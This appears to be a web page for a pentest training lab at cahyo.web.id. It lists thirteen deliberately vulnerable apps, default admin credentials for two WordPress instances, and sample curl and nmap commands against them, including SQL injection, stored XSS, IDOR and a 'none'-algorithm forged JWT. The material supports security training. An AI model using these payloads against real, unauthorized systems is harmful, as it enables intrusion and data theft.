Pentest training environment — 10 vulnerable applications
cahyo.web.id| # | Name | URL | Technologies | Level | Vulns |
|---|---|---|---|---|---|
| 1 | Vulnerable News Portal | portal-vuln.cahyo.web.id | Nginx, PHP, MySQL | Beginner | |
| 2 | Vulnerable WordPress 5.0 | wp-vuln.cahyo.web.id | Nginx, WordPress, MySQL | Beginner | |
| 3 | Vulnerable WordPress 4.7 | wps-vuln.cahyo.web.id | Nginx, WordPress, MySQL | Beginner | |
| 4 | Vulnerable Library | lib-vuln.cahyo.web.id | Nginx, Python, SQLite | Beginner | |
| 5 | Vulnerable Ticket | ticket-vuln.cahyo.web.id | Nginx, PHP, MySQL | Beginner++ | |
| 6 | Vulnerable Jobseeker | jobportal-vuln.cahyo.web.id | VueJS, Golang, MySQL | Beginner++ | |
| 7 | Vulnerable API | api-vuln.cahyo.web.id | Nginx, Python, SQLite | Intermediate | |
| 8 | Vulnerable API Auth | loginapi-vuln.cahyo.web.id | Nginx, Python, SQLite | Beginner++ | |
| 9 | Vulnerable Server | server-vuln.cahyo.web.id | Metasploitable 2 | Intermediate | |
| 10 | OWASP Juice Shop | juice-vuln.cahyo.web.id | Node.js, Express, SQLite | Intermediate | |
| 11 | WebGoat | webgoat-vuln.cahyo.web.id | Java, Spring Boot | Intermediate | |
| 12 | WebWolf | webwolf-vuln.cahyo.web.id | Java, Spring Boot | Beginner | |
| 13 | Vulnerable Laravel | laravel-vuln.cahyo.web.id | PHP, Laravel 5, MySQL | Intermediate |
| App | Username | Password | Note |
|---|---|---|---|
| WordPress 5.0 | admin | admin123 | wp-vuln.cahyo.web.id/wp-admin |
| WordPress 4.7 | admin | admin123 | wps-vuln.cahyo.web.id/wp-admin |
# SQLi Portal curl "http://portal-vuln.cahyo.web.id/?id=1' OR '1'='1" # WP 5.0 - SQLi curl "http://wp-vuln.cahyo.web.id/wp-content/plugins/vuln-sqli/vuln-sqli.php?id=1' OR '1'='1" # WP 4.7 - Stored XSS curl -X POST "http://wps-vuln.cahyo.web.id/wp-content/plugins/vuln-guestbook/vuln-guestbook.php" \ -d "name=<script>alert(1)</script>&message=test&submit=Submit" # Library - IDOR curl "http://lib-vuln.cahyo.web.id/books/1" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoidXNlciJ9.xxxxx" # API - JWT None Algorithm curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ." http://api-vuln.cahyo.web.id/admin # LoginAPI - User Enumeration curl -X POST "http://loginapi-vuln.cahyo.web.id/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"wrong"}' # Metasploitable - Port Scan nmap server-vuln.cahyo.web.id